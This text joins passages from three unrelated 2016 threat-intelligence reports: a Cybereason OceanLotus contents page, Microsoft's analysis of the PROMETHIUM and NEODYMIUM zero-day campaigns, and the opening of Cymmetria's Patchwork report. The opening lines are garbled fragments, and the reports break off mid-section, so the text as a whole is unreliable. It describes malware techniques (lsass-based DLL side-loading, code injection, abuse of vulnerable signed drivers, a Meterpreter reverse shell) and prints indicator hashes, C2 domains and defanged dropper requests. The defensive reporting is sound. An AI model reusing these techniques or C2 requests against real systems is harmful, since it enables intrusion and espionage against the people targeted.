)net SndVolSSO.exe 1fef52800fa9b752b98d3cbb8ff f0c44046526aa tonholding(.
)com nsquery(.
)net 2016 Cybereason.
All rights reserved.
2 Cybereason is the leader in endpoint protection, offering endpoint detection and response, next-generation antivirus, and active monitoring services.
Founded by elite intelligence professionals born and bred in offense-first hunting, Cybereason gives enterprises the upper hand over cyber adversaries.
The Cybereason platform is powered by a custom-built in-memory graph, the only truly automated hunting engine anywhere.
It detects behavioral patterns across every endpoint and surfaces malicious operations in an exceptionally user-friendly interface.
Cybereason is privately held and headquartered in Boston with offices in London, Tel Aviv, and Tokyo.
Attribution Threat Actor Profile OceanLotus Group activity in Asia Indicators of Compromise (IOCs) Malicious files Payloads from CC servers CC IPs CC Domains Appendix A: Threat actor payloads caught in the wild Appendix B: Denis Backdoor samples in the wild
Microsoft Security Intelligence Report Volume 21  January through June, 2016 PROMETHIUM and NEODYMIUM: Parallel zero-day attacks targeting individuals in Europe This document is for informational purposes only.
MICROSOFT MAKES NO WARRANTIES, EXPRESS, IMPLIED, OR STATUTORY, AS TO THE INFORMATION IN THIS DOCUMENT.
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Copyright  2016 Microsoft Corporation.
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ii ABOUT THIS REPORT Authors Charlie Anthe Cloud and Enterprise Security Evan Argyle Windows Defender Labs Eric Douglas Windows Defender Labs Sarah Fender Azure Security Elia Florio Windows Defender Labs Chad Foster Bing Ram Gowrishankar Windows Defender Labs Volv Grebennikov Bing Paul Henry Wadeware LLC Aaron Hulett Windows Defender Labs Ivo Ivanov Windows Defender Labs Michael Johnson Windows Defender Labs Jeff Jones Corporate Communications Tim Kerk Windows Defender Labs Mathieu Letourneau Windows Defender Labs Marianne Mallen Windows Defender Labs Matt Miller Microsoft Security Response Center Chad Mills Safety Platform Nam Ng Enterprise Cybersecurity Group Hamish ODea Windows Defender Labs James Patrick Dee Windows Defender Labs Siddharth Pavithran Windows Defender Labs Daryl Pecelj Microsoft IT Information Security and Risk Management Ferdinand Plazo Windows Defender Labs Tim Rains Commercial Communications Paul Rebriy Bing Karthik Selvaraj Windows Defender Labs Tom Shinder Azure Security Nitin Sood Windows Defender Labs Tomer Teller Azure Security Vikram Thakur Windows Defender Labs Contributors Eric Avena Windows Defender Labs Iaan DSouza- Wiltshire Windows Defender Labs Dustin Duran Windows Defender Labs Tanmay Ganacharya Windows Defender Labs Chris Hallum Windows and Devices Group Satomi Hayakawa CSS Japan Security Response Team Sue Hotelling Windows and Devices Group Yurika Kakiuchi CSS Japan Security Response Team Louie Mayor Windows Defender Labs Dolcita Montemayor Windows Defender Labs Heike Ritter Windows and Devices Group Norie Tamura CSS Japan Security Response Team Steve Wacker Wadeware LLC David Weston Windows Defender Labs MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 21, JANUARYJUNE 2016   iii Table of contents About this report ......................................................................................................................... iv How to use this report ................................................................................................................ v Featured intelligence 19 PROMETHIUM and NEODYMIUM: Parallel zero-day attacks targeting individuals in Europe ....................................................................................................................................... 21 Activity Group Profile: PROMETHIUM ....................................................................................... 22 Activity Group Profile: NEODYMIUM ......................................................................................... 23 Mitigation .......................................................................................................................................... 29 Summary ............................................................................................................................................ 32 Indicators ........................................................................................................................................... 32 iv ABOUT THIS REPORT About this report The Microsoft Security Intelligence Report (SIR) focuses on software vulnerabilities, software vulnerability exploits, malware, and unwanted software.
Past reports and related resources are available for download at www.microsoft.com/sir.
We hope that readers find the data, insights, and guidance provided in this report useful in helping them protect their organizations, software, and users.
Reporting period This volume of the Microsoft Security Intelligence Report focuses on the first and second quarters of 2016, with trend data for the last several quarters presented on a quarterly basis.
Because vulnerability disclosures can be highly inconsistent from quarter to quarter and often occur disproportionately at certain times of the year, statistics about vulnerability disclosures are presented on a half-yearly basis.
Throughout the report, half-yearly and quarterly time periods are referenced using the nHyy or nQyy formats, in which yy indicates the calendar year and n indicates the half or quarter.
For example, 1H16 represents the first half of 2016 (January 1 through June 30), and 4Q15 represents the fourth quarter of 2015 (October 1 through December 31).
To avoid confusion, please note the reporting period or periods being referenced when considering the statistics in this report.
Conventions This report uses the Microsoft Malware Protection Center (MMPC) naming standard for families and variants of malware.
For information about this standard, see Appendix A: Threat naming conventions on page 135 of the full report.
In this report, any threat or group of threats that share a common unique base name is considered a family for the sake of presentation.
This consideration includes threats that may not otherwise be considered families according to common industry practices, such as generic and cloud-based detections.
For the purposes of this report, a threat is defined as a malicious or unwanted software family or variant that is detected by the Microsoft Malware Protection Engine.
http://www.microsoft.com/sir http://www.microsoft.com/mmpc MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 21, JANUARYJUNE 2016   v How to use this report The Microsoft Security Intelligence Report has been released twice a year since 2006.
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https://www.microsoft.com/en-us/legal/intellectualproperty/Permissions/default.aspx https://www.microsoft.com/en-us/legal/intellectualproperty/Permissions/default.aspx Featured intelligence PROMETHIUM and NEODYMIUM: Parallel zero- day attacks targeting individuals in Europe ........ 21 20 HOW TO USE THIS REPORT MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 21, JANUARYJUNE 2016   21 PROMETHIUM and NEODYMIUM: Parallel zero- day attacks targeting individuals in Europe Windows Defender ATP Microsoft proactively monitors the threat landscape for emerging threats.
Part of this job involves observing the activities of targeted activity groups, which are often the first ones to introduce new exploits and techniques that are later used by other attackers.
The previous two volumes of the Microsoft Security Intelligence Report explored the activities of two such groups, code-named STRONTIUM and PLATINUM, which used previously unknown vulnerabilities and aggressive, persistent techniques to target specific individuals and institutions often including military installations, intelligence agencies, and other government bodies.
This volume chronicles two activity groups, code-named PROMETHIUM and NEODYMIUM, both of which target individuals in a specific area of Europe.
Although most malware today either seeks monetary gain or conducts espionage for economic advantage, both of these activity groups appear to seek information about specific individuals.
In May 2016, both PROMETHIUM and NEODYMIUM were observed to launch attack campaigns.
These campaigns used completely distinct infrastructure and primary malware, which indicated a lack of association at the operational level.
However, the similarity in the campaigns victim locale, timing, and use of the same zero-day exploit prior to public disclosure strongly indicates that the activity groups may be related at a higher organizational tier.
Microsoft is sharing information about these groups to raise awareness of their activities, and to help individuals and organizations implement existing mitigation options that significantly reduce risk from these attack groups and other similar groups.
22 PROMETHIUM AND NEODYMIUM: PARALLEL ZERO-DAY ATTACKS TARGETING INDIVIDUALS IN EUROPE Activity Group Profile: PROMETHIUM Campaign summary: PROMETHIUM is an activity group that has been active since at least 2012.
In 2016, an attack campaign by this group was recorded in early May that made use of an exploit for CVE-2016-4117, a vulnerability in Adobe Flash Player, which at the time was both unknown and unpatched.
Adobe promptly and publicly acknowledged the zero-day vulnerability and pushed a security update.
The attack itself began with certain individuals receiving links in instant messenger clients.
These links led to malicious documents that invoked exploit code and eventually executed a piece of malware called Truvasys on unsuspecting victims computers.
Administrators and users wondering whether they were targeted by PROMETHIUM can scan their network by using the indicators listed in the appendix, by using Windows Defender to examine their logs for Truvasys, or by searching for PROMETHIUM in their Windows Defender Advanced Threat Protection product console alerts.
Attack details: Truvasys has been previously documented by peer organizations in the security industry.
The malware and its developers have been active for a few years and have conducted multiple attack campaigns by masquerading as common computer utilities such as WinUtils, TrueCrypt, WinRAR, and SanDisk.
In each of the campaigns, the Truvasys malware was updated to include additional features, showing close collaboration between the activity groups behind the campaigns and the developers of the malware.
Truvasys is a collection of modules written in the Delphi programming language, a variant of Pascal.
It runs on 32-bit and 64-bit editions of multiple versions of Windows, including Windows Vista, Windows 7, Windows 8, and Windows 10, in both standard user and administrator modes.
It includes a number of features designed to evade detection, including virtual environment detection and tampering with security software.
Truvasys connects to a remote command and control (CC) server to retrieve instructions from an attacker, who can use the malware to execute arbitrary functionality on the compromised computer.
PROMETHIUM and NEODYMIUM both target individuals in a specific area of Europe.
https://helpx.adobe.com/security/products/flash-player/apsb16-15.html https://blogs.windows.com/windowsexperience/2016/03/01/announcing-windows-defender-advanced-threat-protection/ https://securelist.com/blog/research/76147/on-the-strongpity-waterhole-attacks-targeting-italian-and-belgian-encryption-users/ MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 21, JANUARYJUNE 2016   23 This malware family has targeted individuals through the combined use of spear phishing and watering hole techniques for a number of years.
In most cases, Truvasys is embedded with legitimate installers of applications, compromising individual computers by tricking users into running the installers.
One campaign involved a fake Adobe Flash Player installer, with a social engineering lure in Turkish.
Figure 1.
In one campaign, Truvasys was distributed via social engineering lures in the Turkish language The language used in this example is consistent with the geography of Truvasys victims, as observed over the years.
Most Truvasys activities have been observed across western Europe with a large majority of computers using the Turkish locale setting, which suggests that most of them are Turkish citizens or expatriates.
While studying Truvasys, Microsoft uncovered a previously undocumented piece of malware known as Myntor that is a completely separate malware family.
Myntor is pushed onto victims computers that are selected by an unknown logic devised by PROMETHIUM.
Activity Group Profile: NEODYMIUM Campaign summary: NEODYMIUM is an activity group that, like PROMETHIUM, conducted an attack campaign in early May 2016.
NEODYMIUM also used the exact same CVE-2016-4117 exploit code that PROMETHIUM used, prior to public knowledge of the vulnerabilitys existence.
24 PROMETHIUM AND NEODYMIUM: PARALLEL ZERO-DAY ATTACKS TARGETING INDIVIDUALS IN EUROPE NEODYMIUM used a backdoor detected by Windows Defender as Wingbird, whose characteristics closely match FinFisher, a government-grade commercial surveillance package.
Data about Wingbird activity indicates that it is typically used to attack individuals and individual computers instead of networks.
Administrators and users wondering whether they were targeted by NEODYMIUM can scan their networks by using the indicators listed in the appendix, by using Windows Defender to examine their logs for Wingbird, or by searching for NEODYMIUM in their Windows Defender Advanced Threat Protection product console alerts.
Attack details: Target individuals were sent customized spear phishing emails.
An image of one such customized email from this campaign is shown in the following figure.
Figure 2.
The spear phishing campaign that NEODYMIUM launched in May 2016 is highly customized to target individuals a large portion of the email has been redacted to protect the privacy of the targeted individual, which shows the extent of personalization of the malicious email When the user opened the attachment, a blank document displayed.
In the background, a series of events, including the use of the CVE-2016-4117 zero-day exploit, ultimately led to the download and execution of a backdoor.
The exploit code executes only if the Microsoft Office Protected View setting is turned off.
By default, documents opened from the Internet (using web browsers or email clients) are opened in protected view mode, which prevents execution of embedded objects and potentially malicious code.
https://www.symantec.com/security_response/writeup.jsp?docid2012-072615-4146-99tabid2 https://blogs.windows.com/windowsexperience/2016/03/01/announcing-windows-defender-advanced-threat-protection/ https://blogs.windows.com/windowsexperience/2016/03/01/announcing-windows-defender-advanced-threat-protection/ https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653 MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 21, JANUARYJUNE 2016   25 Figure 3.
The NEODYMIUM attack chain shows how the exploit CVE-2016-4117 was used to infect target individuals computers The backdoor payload showed behavior that matched publicly documented traits of a program called FinFisher, a government-grade commercial surveillance package marketed to law enforcement and intelligence agencies.
The publisher, FinFisher GmbH, claims that it sells the software exclusively to government agencies for use in targeted and lawful criminal investigations.
It is likely that the backdoor payload is a relatively new version of the commercial spyware.
The apparent use of a version of FinFisher suggests that the exploit and the spear fishing campaign that delivered it were the work of an attack group probably connected in some way to a state actor.
Windows Defender detects the backdoor payload as Wingbird.
Visibility into the usage of Wingbird shows it has been used only against individuals, not against computers that are part of an organizations network.
Research into Wingbird from May through November 2016 showed only tens of victims, predominantly in Turkey.
http://www.finfisher.com/FinFisher/ 26 PROMETHIUM AND NEODYMIUM: PARALLEL ZERO-DAY ATTACKS TARGETING INDIVIDUALS IN EUROPE Figure 4.
NEODYMIUM victim breakdown, by country for May through November 2016 Like Truvasys, Wingbird is designed to run on both 32-bit and 64-bit Windows platforms.
The malware is a native 32-bit PE executable that installs a number of additional executables and files.
These components are all embedded within the dropper itself, which allows the malware to avoid downloading components and consequently attracting attention.
After the backdoor executes, the malware checks the underlying operating system version and, depending on what platform it is running on, drops several files to ProgramData\RpcSrv (on 32-bit computers) or ProgramData\AuditService (on 64-bit computers).
In addition, on 64-bit computers the dropper creates a secondary native 64-bit payload executable, referred to in the following diagram as [Payload64].exe.
The 32-bit processes are isolated from 64-bit processes and restricted in the actions they can perform.
By providing a separate 64-bit payload, Wingbird attempts to inject code into 64-bit processes as well as 32-bit processes.
Turkey 84 US 6 Germany 5 UK 5 MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 21, JANUARYJUNE 2016   27 Figure 5.
Wingbird behaves differently on 32-bit computers and 64-bit computers The main goal of the original dropper is to indirectly deliver executables by injecting malicious code and data into two Windows system processes, Services.exe and Winlogon.exe.
The primary Wingbird payload uses anti-VM, anti-debugging, and anti-AV mechanisms to evade discovery and analysis.
On 32-bit computers, the original dropper creates three files, as shown in Figure 5.
Of the three files, the only true binary is rpcsrv.dat, a kernel rootkit that enables the attacker to load and run privileged unsigned code.
The other two files, installer.cab and the randomly named [xxxxx].cab, are encrypted data files.
Wingbird attempts to detect and evade security products.
For example, some of the strings found in running processes, such as avcuf32.dll and un-wnd- .08x, indicate that the malware checks for the presence of one of several versions of Bitdefender security software.
Through a series of actions and code injections, the original malware installs the rootkit driver, rpcsrv.dat, a non-standard kernel driver.
The attackers know that 64-bit computers are much more secure because they prevent loading of unsigned drivers, so they do not even attempt this technique on 64-bit systems.
The malware searches for a file called ico_ty23.ico, which is publicly documented as the filename one of the key user mode DLL components of FinFisher.
https://www.symantec.com/security_response/writeup.jsp?docid2012-072615-4146-99tabid220 28 PROMETHIUM AND NEODYMIUM: PARALLEL ZERO-DAY ATTACKS TARGETING INDIVIDUALS IN EUROPE On 64-bit computers, the installation of Wingbird is a lot more complicated.
The 64-bit version of the original payload creates a new folder, ProgramData\AuditService, and copies the Windows system file lsass.exe from SystemFolder into the new folder.
At the same time, the payload drops a malicious file known as sspisrv.dll alongside the copy of lsass.exe.
This sspisrv.dll file shares its name with a code library that implements several APIs that lsass.exe is designed to import.
Figure 6.
Wingbird payloads behavior on 64-bit computers The original 32-bit dropper continues monitoring until the folder and file are created.
After the 64-bit payload is done copying files, its parent process (the 32-bit dropper) deletes it.
The parent process then deletes itself as an attempt to hide its tracks and prevent analysis by security professionals.
The 64-bit malware then injects code into services.exe, the Service Control Manager, to register a service using a clean lsass.exe that would load the malicious sspisrv.dll, which would then inject malicious code into svchost.exe.
The constant delegation of malicious code control from one process to the next is a way to hide execution of unwanted code and make it extremely difficult to detect the presence of Wingbird.
This version of Wingbird has also been observed with the ability to execute highly privileged kernel code by injecting code through vulnerable signed \AuditService\LSASS.exe Infected SvcHost.exe [Payload32].exe detects it executes on 64-bit platform and drops  [Payload64].exe [Payload32].exe starts up [Payload64.exe] Drops SSPISRV.dll Copies a clean LSASS.exe Injects code into winlogon.exe and services.exe The infected services.exe registers a new service using the copy of the clean  LSASS.exe Vulnerable Digitally Signed Kernel Driver \AuditService\LSASS.exe starts up and loads SSPISRV.dll SSPISRV.dll injects code into svchost.exe The implant in the infected SvcHost.exe exploits a vulnerable kernel driver [Payload64] Services.exe SSPISRV.dll MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 21, JANUARYJUNE 2016   29 drivers.
It maintains a list of legitimate yet vulnerable drivers that can be exploited to inject and execute kernel code.
It appears that Wingbird obfuscates its code at source level, rather than binary level, to evade analysis tools and security solutions.
Similar to the 32-bit version, this version of Wingbird performs a check for a file named ico_sf46.ico, which is a known component of FinFisher.
Mitigation Stopping zero-day exploits in Windows 10 PROMETHIUM and NEODYMIUM both used a zero-day exploit that executed code to download a malicious payload.
Protected view, a security feature that was introduced in Microsoft Office 2010, prevents the malicious Flash code from loading when the document is opened.
Control Flow Guard, a security feature that is turned on by default in Windows 10 and Microsoft Office 365 64-bit version, can help by making it more difficult to exploit memory corruption vulnerabilities.
The Flash vulnerability CVE-2016-4117 is a type confusion vulnerability in the DeleteRangeTimelineOperation class.
The referenced exploit only reliably works on specific Windows platforms because of a ByteArray mitigation in Flash Player, which causes Microsoft to believe that the exploit was authored with pre-knowledge of the victims computer information.
The exploit uses the Adobe Flash Players Function object vftable corruption method to achieve code execution.
Because 64-bit versions of Windows 10 enforce driver signing, malicious code that attempts to load a locally made, untrusted driver will be stopped in its tracks.
In addition, the technique of using lsass.exe to load a malicious DLL files can be mitigated by an optional feature introduced in Windows 10 called Credential Guard.
Microsoft highly recommends that network administrators test and enable this feature.
In Wingbirds case, the malicious sspisrv.dll will not load because it wasnt signed by a trusted certificate.
The Hypervisor Code Integrity (HVCI) service enables the Device Guard feature in Windows 10 to help protect kernel mode processes and drivers from Control Flow Guard makes it more difficult to exploit memory corruption vulnerabilities.
https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653 https://msdn.microsoft.com/en-us/library/windows/desktop/mt637065(vvs.85).aspx https://msdn.microsoft.com/en-us/library/windows/desktop/mt637065(vvs.85).aspx https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard https://blogs.technet.microsoft.com/datacentersecurity/2016/09/20/overview-of-device-guard-in-windows-server-2016/ 30 PROMETHIUM AND NEODYMIUM: PARALLEL ZERO-DAY ATTACKS TARGETING INDIVIDUALS IN EUROPE vulnerability exploits and zero-day exploits.
HVCI uses the processors functionality to force all software running in kernel mode to safely allocate memory, which means that after memory has been allocated, its state must be changed from writable to read-only or execute-only.
By forcing memory into these states, HVCI helps ensure that attacks are unable to inject malicious code into kernel mode processes and drivers through techniques such as buffer overflows and heap spraying.
Detecting malicious behavior with Windows Defender Advanced Threat Protection Windows Defender Advanced Threat Protection (ATP) is a new built-in detection service that ships natively with Windows 10 and helps enterprises to detect targeted and advanced attacks.
When activated, it captures behavioral signals from the endpoint and then uses cloud-based security machine learning analytics and threat intelligence to flag suspicious attack-related activities.
The NEODYMIUM attack campaign executed the following five malicious behaviors, all of whichare detected by Windows Defender ATP: 1.
Zero-day exploit code causes a Microsoft Office file to generate and open an executable file.
Figure 7.
Windows Defender ATP shows an alert for an exploit resulting in a malicious file executing on an endpoint 2.
Zero-day exploit code allows an executable file to gain higher privileges.
3.
A suspicious file self-deletes, a behavior associated with malware that erases traces of infection as a way to evade forensic analysis.
http://aka.ms/wdatp https://blogs.windows.com/windowsexperience/2016/03/01/announcing-windows-defender-advanced-threat-protection/ MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 21, JANUARYJUNE 2016   31 Figure 8.
Windows Defender ATP shows an alert for processes that attempt self-deletion 4.
Malware executes DLL-side loading, a technique in which attackers replace legitimate DLL files in non-standard folders with malicious ones so that the malicious file is loaded when the application or operating system starts.
Figure 9.
Windows Defender ATP shows an alert for DLL-side loading 5.
Malware injects code into legitimate processes, which is usually done to load the malware when system processes run.
Figure 10.
Windows Defender ATP shows an alert for suspicious code injections Windows Defender Advanced Threat Protection alerts enterprise security teams of detections and allows them to investigate and respond to each security incident in a timely and effective manner.
The service complements and works https://blogs.windows.com/windowsexperience/2016/03/01/announcing-windows-defender-advanced-threat-protection/ 32 PROMETHIUM AND NEODYMIUM: PARALLEL ZERO-DAY ATTACKS TARGETING INDIVIDUALS IN EUROPE along with Windows Defender or third-party antivirus security solutions.
Additional information about the service is available here.
Summary In May 2016, two apparently unrelated activity groups, PROMETHIUM and NEODYMIUM, conducted attack campaigns in Europe that used the same zero- day exploit while the vulnerability was publicly unknown.
Although the use of the same exploit code could be attributed to a number of coincidences, the timing of the campaigns and victim demographics lend credence to the theory that the campaigns were associated.
One threat family, Wingbird, appears to be a version of a commercially available tool sold to organizations conducting lawful interception.
Wingbird is a fairly advanced threat family that must have required the authors several months worth of man-hours to generate.
Even so, Wingbird as-is does not execute in Windows 10.
Each activity group uses a unique set of tools and methods to perform actions like lateral movement and data exfiltration.
One of the purposes of tracking activity groups is to research unique attacker techniques and to develop mitigations for the native operating system.
Microsoft has built proactive security mitigations into its products, which increases the investment barrier for attackers who try to victimize users of the latest versions of Windows.
The Windows security service Windows Defender ATP provides an additional post-breach layer of security to enterprises organizations.
As this article shows, proactive mitigation in Windows 10 and Office on 64-bit systems does not allow the exploit vector for these two attack campaigns or the exploitation of kernel drivers to succeed.
In addition, Windows Defender ATP detects suspicious events on endpoints, alerts security operators about undesired activities, and provides the required tool to respond.
Indicators The following table includes a sampling of indicators on the malware used by PROMETHIUM and NEODYMIUM.
This is just a snippet of the information collected while studying these malware and the corresponding attack campaigns.
https://www.microsoft.com/en-us/WindowsForBusiness/Windows-ATP https://blogs.windows.com/business/2016/06/29/advancing-security-for-consumers-and-enterprises-at-every-layer-of-the-windows-10-stack/ https://technet.microsoft.com/en-us/itpro/windows/keep-secure/windows-10-security-guide https://technet.microsoft.com/en-us/itpro/windows/keep-secure/windows-10-security-guide http://aka.ms/wdapt MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 21, JANUARYJUNE 2016   33 Figure 11.
PROMETHIUM and NEODYMIUM indicators SHA1 or other indicator Association 21a3862dfe21d6b216359c6baa3d3c2beb50c7a3 Malicious document 0b16135d008f6952df0caca104449c33d736e5fc Malicious document 21a3862dfe21d6b216359c6baa3d3c2beb50c7a3 Malicious document 0852aa6b8df78069d75fa2f09b53d4476cdd252b Malicious document 05dbe59a7690e28ca295e0f939a0c1213cb42eb0 Wingbird 3c2c7ac8fddbc3ee25ce0f73f01e668855ccdb80 Wingbird 211a111586cb5914876adb929ccae736928d8363 Wingbird c972bf5751438c99fe3e02ecacf6fa759388c40e Wingbird 72722073f0adba1919dc31ffa26638555ad5867f Wingbird 2fb49455d65ad8baf18e3c604cd1b992b7ebbefa Wingbird f41b999f41312f2a0fe4eaf08e90824f73e0e186 Wingbird d8d54574a082162220c3c2f3d3f4c1b1bd4d6255 Wingbird 86580603f5e1d817af87e8bf3ba4dc4ea9e3069d Wingbird cb5d0d1d557a1266f77357a951358c78196e97ff Wingbird d75d12d250e7a36f9ef1173d630a0059b8ea5349 Wingbird a77db6e89d604eabf29a6114a30345a705b05107 Wingbird b32b0d52fff7c09c60bb64bc396dc7522a457399 Wingbird ade19bde9716770bef84ce4414a45c0462c2eba2 Wingbird e4d82ab117b86fd44c02ff3289976d15a9d9ced4 Wingbird 88cb78d99fa0275db8123c17a2bd3b3d58f541da Wingbird a248f9ad5d757d589a06a253dc46637f4128eea9 Wingbird 532b0d52fff7c09c60bb64bc396dc7522a457399 Wingbird srv601[.]ddns[.
]net Wingbird srv602[.]ddns[.
]net Wingbird 980d96d83f0bae8132fd13eb7d0e799999141492 Truvasys 7ab2d32b2603c2b12e814264230572584e157d42 Truvasys a4f72ee3d337e5a0db78f33fd31958b41e9e9d4f Truvasys 6de50cf42cd3ff8429a405e9c62d38c11fb2edd6                Truvasys 8d847ea0ffa06b8d48bbd9c943c50b05b23d310b              Truvasys 7047ed9ae510377f4625db256e52af02694ef153 Truvasys bb66c7d655021234ede01bc59e808c6b8f3fa91b Truvasys 34 PROMETHIUM AND NEODYMIUM: PARALLEL ZERO-DAY ATTACKS TARGETING INDIVIDUALS IN EUROPE SHA1 or other indicator Association www[.]updatesync[.
]com Truvasys www[.]svnservices[.
]com Truvasys ftp[.]mynetenergy[.
]com Truvasys www[.]windriversupport[.
]com Truvasys www[.]truecrypte[.
]org Truvasys www[.]edicupd002[.
]com Truvasys One Microsoft Way Redmond, WA 98052-6399 microsoft.com/security About this report How to use this report Featured intelligence PROMETHIUM and NEODYMIUM: Parallel zero-day attacks targeting individuals in Europe Activity Group Profile: PROMETHIUM Activity Group Profile: NEODYMIUM Mitigation Summary Indicators
2016 Cymmetria Inc. All rights reserved.
Confidential and proprietary.
2016 Cymmetria Inc. All rights reserved.
Confidential and proprietary.
A targeted attack caught with cyber deception UNVEILING PATCHWORK THE COPY-PASTE APT This report can be found at: https://www.cymmetria.com/patchwork-targeted-attack/.
All IoCs (in CSV and STIX formats), and the MazeRunner campaign file, can be found on Cymmetria Researchs GitHub, here: https://github.com/CymmetriaResearch/CymmetriaResearch.
https://www.cymmetria.com/patchwork-targeted-attack/ https://www.cymmetria.com/patchwork-targeted-attack/ https://www.cymmetria.com/patchwork-targeted-attack/ https://www.cymmetria.com/patchwork-targeted-attack/ https://www.cymmetria.com/patchwork-targeted-attack/ https://www.cymmetria.com/patchwork-targeted-attack/ https://github.com/CymmetriaResearch/CymmetriaResearch https://github.com/CymmetriaResearch/CymmetriaResearch 3 Research TLP: GREEN Executive summary     4 Acknowledgements     5 The investigation     6 Overview      6 Hunting the attacker with a deception campaign  7 Getting started     8 Chain of events     9 Intelligence gained from the actors CC server  11 Technical analysis     12 Tools deployed     12 Attack vector     12 Dropper     13 CC communications    13 Privilege escalation    16 Shellcode execution    17 Reverse HTTPS Meterpreter   17 Second stage payload    17 Attribution      19 Previously examined information    19 PPS edit time analysis     19 CC activity times     21 Conclusions      24 Appendix 1  IoCs     25 File hashes     25 IPs       25 POST requests     25 URLs                                                                                                                             25 Suspected IoCs                                                                                                          26 Other      27 Confirmed infecting presentations    28 Suspected IoCs found to be similar to the above IoCs  31 TABLE OF CONTENTS 4 Research TLP: GREEN Patchwork is a targeted attack that has infected an estimated 2,500 machines since it was first observed in December 2015.
There are indications of activity as early as 2014, but Cymmetria has not observed any such activity first hand.
Patchwork targets were chosen worldwide with a focus on personnel working on military and political assignments, and specifically those working on issues relating to Southeast Asia and the South China Sea.
Many of the targets were governments and government-related organizations.
What makes this report special is that Patchwork is the first targeted threat captured using a commercial deception product.
Through the use of deception campaigns created with Cymmetrias MazeRunner, we were able to catch the threat actors second stage toolset, as well as lateral movement activity.
The deception campaign (see The investigation section) EXECUTIVE SUMMARY The code used by this threat actor is copy- pasted from various online forums, in a way that reminds us of a patchwork quilt  hence the name weve given the operation.
In active victim systems, Patchwork immediately searches for and uploads documents to their CC, and only if the target is deemed valuable enough, proceeds to install a more advanced second stage malware.
It is impossible to reach clear attribution from the information available.
We have included an attribution section in this document to document our research efforts in this regard.
Attacker operating times that overlap with a standard 9am-7pm workday (darker means larger volume) 5 Research TLP: GREEN ACKNOWLEDGEMENTS We would like to acknowledge our colleagues Brandon Levene at Palo Alto Networks, Kaspersky Labs GReAT team, and others whom we cant mention, for their assistance and cooperation.
6 Research TLP: GREEN OVERVIEW The attack was detected as part of a spear phishing against a government organization in Europe in late May 2016.
The target was an employee working on Chinese policy research and the attack vector was a PowerPoint presentation file.
The content of the presentation was on issues relating to Chinese activity in the South China Sea.
Screenshot of the first slide from one of the infected presentations After the presentation is opened, the vulnerability highlighted by CVE-2014-4114 is exploited.
This is a well documented vulnerability commonly called Sandworm, which only works on unpatched versions of Microsoft Office PowerPoint 2003 and 2007.
Once the exploit worked, it deployed the first stage payload: a compiled AutoIt script.
This script then bypassed UAC using a known method called UACME, the code for which was taken from an online forum.
Screenshot of the AutoIt malware publication forum post1 _________________ http://www.indetectables.net/viewtopic.php?f7t52263sidb6fe274a4e8934fceb0f3fc90cd35aa2 THE INVESTIGATION 7 Research TLP: GREEN With higher privileges, the first stage payload ran PowerSploit to download code to run a reverse shell with Meterpreter  the RAT of the well known MetaSploit framework.
The next stage was exfiltration of document files that are also used to validate the value of the infection.
If the infected system was deemed valuable enough, the threat actor then infected the target host with a second stage payload, which was once again a module built from code taken from various online forums and resources.
Flowchart of infection stages Since the threat had already been detected and stopped, our goal was to discover as much as we could about the threat actor.
Specifically, we were interested in tools, techniques, and procedures (TTPs), so that we would be able to detect the threat in case it succeeded in gaining a foothold elsewhere in customers assets.
Learning about the threat actors TTPs would also allow us to prevent the threat actor from launching another operation targeted at our customer, as well as prevent them from launching similar attacks against other customers in the future.
Our investigation proceeded on two fronts: 1.
We built a deception campaign to discover the second stage malware and the actors TTPs, while the operation was still active.
2.
We investigated the operation to uncover the threat actors capabilities.
HUNTING THE ATTACKER WITH A DECEPTION CAMPAIGN In order to capture the attackers second stage malware (persistence) and observe their pivoting behavior in the network (lateral movement), we created a realistic environment in which to hunt the threat actor.
We did so by using Cymmetrias MazeRunner solution to deploy a deception campaign.
A deception campaign is essentially a story comprised of breadcrumbs and decoys it leads attackers to believe that they have successfully gained access to a target machine.
Breadcrumbs are pieces of data that lead an attacker to another machine these could be stored credentials, open shares, browser cookies, VPN configurations, and more.
Decoys are full operating systems running on virtual machines that act as real and high-value targets for an attacker breadcrumbs point to decoys, which are fully monitored for any attacker interaction.
8 Research TLP: GREEN The campaign (which can be found on Cymmetria Researchs GitHub) was built to fit the specific profile of the active target.
MazeRunner captured all the forensic data associated with the threat, so we knew that the threat actor followed the breadcrumbs and activated all the stages of their attack.
MazeRunner allowed us to see all of the network traffic, operating system changes, and lateral movement the threat actor performed.
This is the first time, to our knowledge, that an APT (or more aptly, a targeted attack) has been deceived and captured by a deception solution that caused the threat actor to follow breadcrumbs and attack decoys, ultimately leading to the disclosure of the operation.
The deception campaign that caught the APT GETTING STARTED As mentioned in the previous section, our first order of business was verifying that the operation was still active, and then creating a deception campaign around it to catch the second stage malware and discover and mitigate other TTPs being used by the threat actor.
To this end, we created a target in the form of a profile for a person in whom the threat actor was interested.
We then constructed a deception campaign based on that profile.
In this case, the person was a member of a government think tank dealing with security issues.
A network around the infected endpoint was created using MazeRunner: SMB shares were created on decoys, and mapped on the target laptop, to play the part of network backups.
Further, RDP credentials were deployed on the laptop to lead to a service running on a decoy system in the cloud.
SMB breadcrumb leading to the file server decoy https://github.com/CymmetriaResearch/CymmetriaResearch 9 Research TLP: GREEN RDP Breadcrumb that leads to a cloud decoy CHAIN OF EVENTS 1.
The PowerPoint PPS file was opened, which in turn dropped the initial payload components.
The exploit used was CVE-2014-4114 (Sandworm).
Driver.inf content 1.
2.
The endpoint was infected with the following executables: sysvolinfo.exe  AutoIt compiled script.
PowerShell reverse shell HTTPS Meterpreter script  Was pulled from the C2 server and was executed using the following requests: 212[.
]129.13.110/dropper.php?profilebase64 of [usernamecomputername] hxxps://45[.
]43.192.172:8443/OxGN 3.
Files from the target laptop were being uploaded by the threat actor to the control server, alongside significant activity on the encryption channel.
